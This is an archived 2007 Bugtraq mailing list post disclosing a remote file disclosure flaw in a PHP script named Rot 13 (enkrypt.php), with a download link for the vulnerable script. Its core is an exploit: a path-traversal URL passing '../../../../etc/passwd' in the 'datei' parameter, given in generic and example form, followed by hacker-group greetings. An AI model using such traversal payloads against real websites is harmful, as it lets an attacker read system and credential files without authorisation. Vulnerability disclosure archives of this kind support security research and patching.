bugtraq - Rot 13 <= (enkrypt.php) Remote File Disclosure Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <BAY102-F15576D7AA15F6F0C2F3D1EA3710@phx.gbl>
Date: Fri, 16 Mar 2007 12:53:13 +0300
From: "BorN To K!LL BorN To K!LL" <q.t.i@...mail.com>
To: submit@...w0rm.com
Cc: bugtraq@...urityfocus.com
Subject: Rot 13 <= (enkrypt.php) Remote File Disclosure Vulnerability

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

Rot 13 <= (enkrypt.php) Remote File Disclosure Vulnerability

Script: Rot 13

Download: 
http://www.holtstraeter.com/cybercheffe/scriptsharing/php/categories/misc/rot13.zip

Class: Remote File Disclosure Vulnerability

Discover: BorN To K!LL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

ExploiT:
~~~~~
wWw.S!Te.cOm/[path]/enkrypt.php?datei=../../../../etc/passwd

Example:
~~~~~
wWw.S!Te.cOm/rot13/enkrypt.php?datei=../../../../etc/passwd

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

GreeTz 2 :

Dr.2  -  str0ke  -  AsbMay

wWw.KuW-SeC.cC   -   wWw.Asb-May.nEt

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE! 
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/